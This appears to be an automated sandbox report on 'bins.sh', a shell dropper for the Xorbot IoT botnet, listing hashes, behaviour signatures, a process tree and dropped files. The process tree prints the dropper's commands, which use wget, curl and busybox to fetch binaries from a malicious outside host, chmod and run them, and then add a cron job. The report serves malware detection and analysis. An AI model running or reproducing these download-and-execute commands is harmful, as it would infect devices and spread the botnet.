Analysis

  • max time kernel
    127s
  • max time network
    142s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-02-2025 06:46

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b2421bced7297b8ce586955885acdf36

  • SHA1

    a227f69efdf1b3714e3fcd4b959afc453c7a01c9

  • SHA256

    d921e0c0ab0318ea71c305c452753c8aec6f3a82f20263ed34f1f4711e5f0672

  • SHA512

    91a3af3a61cb0b2d3d779ac640c4915e00bb683d50d4ff2db53856149aaafc743d74bfd4deeace0a1d1c07dfa501cf91fefade6e56f1997b7987b15e55b8431b

  • SSDEEP

    192:jYvmHuU0/6GssI2O/wkyWDNfvfQWyz1U0/6GX2O/wkw:jqmHuU0/6GssI2O/wkJNfvfChU0/6GXU

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (907) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 25 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:701
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:704
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:706
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:723
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • System Network Configuration Discovery
        PID:732
      • /bin/chmod
        chmod 777 ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • File and Directory Permissions Modification
        PID:733
      • /tmp/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        ./ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
          PID:734
        • /bin/rm
          rm ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:776
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • System Network Configuration Discovery
            PID:784
          • /bin/chmod
            chmod 777 FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
            • File and Directory Permissions Modification
            PID:793
          • /tmp/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            ./FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
            2⤵
              PID:795
            • /bin/rm
              rm FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
              2⤵
                PID:798
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:799
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:821
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • System Network Configuration Discovery
                PID:823
              • /bin/chmod
                chmod 777 OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                • File and Directory Permissions Modification
                PID:824
              • /tmp/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                ./OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                2⤵
                  PID:825
                • /bin/rm
                  rm OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh
                  2⤵
                    PID:827
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:829
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • System Network Configuration Discovery
                    PID:834
                  • /bin/chmod
                    chmod 777 7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                    • File and Directory Permissions Modification
                    PID:835
                  • /tmp/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    ./7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                    2⤵
                      PID:836
                    • /bin/rm
                      rm 7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO
                      2⤵
                        PID:838
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:839
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:840
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:842
                      • /bin/chmod
                        chmod 777 VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                        • File and Directory Permissions Modification
                        PID:843
                      • /tmp/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        ./VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                        2⤵
                          PID:844
                        • /bin/rm
                          rm VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA
                          2⤵
                            PID:846
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:847
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:848
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • System Network Configuration Discovery
                            PID:850
                          • /bin/chmod
                            chmod 777 l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            ./l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                            2⤵
                              PID:852
                            • /bin/rm
                              rm l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1
                              2⤵
                                PID:854
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:855
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:856
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • System Network Configuration Discovery
                                PID:858
                              • /bin/chmod
                                chmod 777 YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:859
                              • /tmp/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                ./YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                2⤵
                                  PID:860
                                • /bin/rm
                                  rm YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc
                                  2⤵
                                    PID:862
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:863
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:864
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:866
                                  • /bin/chmod
                                    chmod 777 PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:867
                                  • /tmp/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    ./PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:868
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:870
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:871
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:872
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:873
                                        • /bin/rm
                                          rm PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr
                                          2⤵
                                            PID:875
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/qTmpw99volYZcBibG5fiUBD70hBNTPxs9m
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:878

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/7FGOIZgTmhiHw3FwVW3T6apFivcvwfCJsO

                                          Filesize

                                          117KB

                                          MD5

                                          849fa04ef88a8e8de32cb2e8538de5fe

                                          SHA1

                                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                          SHA256

                                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                          SHA512

                                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                        • /tmp/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/OtgZEV1gEUYWflZVYcP6y6dLpYHafguCPh

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /tmp/PtXsXxfKzPFnAM4Ht04bMAvL3pVQKxCQzr

                                          Filesize

                                          151KB

                                          MD5

                                          6c583043d91c55aa470c08c87058e917

                                          SHA1

                                          abf65a5b9bba69980278ad09356e53de8bb89439

                                          SHA256

                                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                          SHA512

                                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                        • /tmp/VafJZpDIXDliTPcl8ctEsx4Rlt533zvVQA

                                          Filesize

                                          177KB

                                          MD5

                                          786d75a158fe731feca3880f436082c0

                                          SHA1

                                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                          SHA256

                                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                          SHA512

                                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                        • /tmp/YDEvw7jF7p7Und3YpO9oV7dbBWwc5RlrGc

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk

                                          Filesize

                                          141KB

                                          MD5

                                          3ca8decdb1e52c423c521bfff02ac200

                                          SHA1

                                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                                          SHA256

                                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                          SHA512

                                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                        • /tmp/l1wIvubNzTGtEmIC1zSqZKihF1KkVDdHs1

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /var/spool/cron/crontabs/tmp.7Iaw2j

                                          Filesize

                                          210B

                                          MD5

                                          586779f2e7557d9afe14fd79a8a419d6

                                          SHA1

                                          a99828134062c7d5281c03272abea4b1746dbeeb

                                          SHA256

                                          95dba59af8951cedb6bfe99122c39a943464186bca0d041efe5801947f3cabd1

                                          SHA512

                                          16e55ba000627631154d3e89dea36d3e74ffe7396ad768acd842d48da403064340d8c533e63439433b346aef9edbbfb14f8c3f927ebffeeae6c2576ae233da2b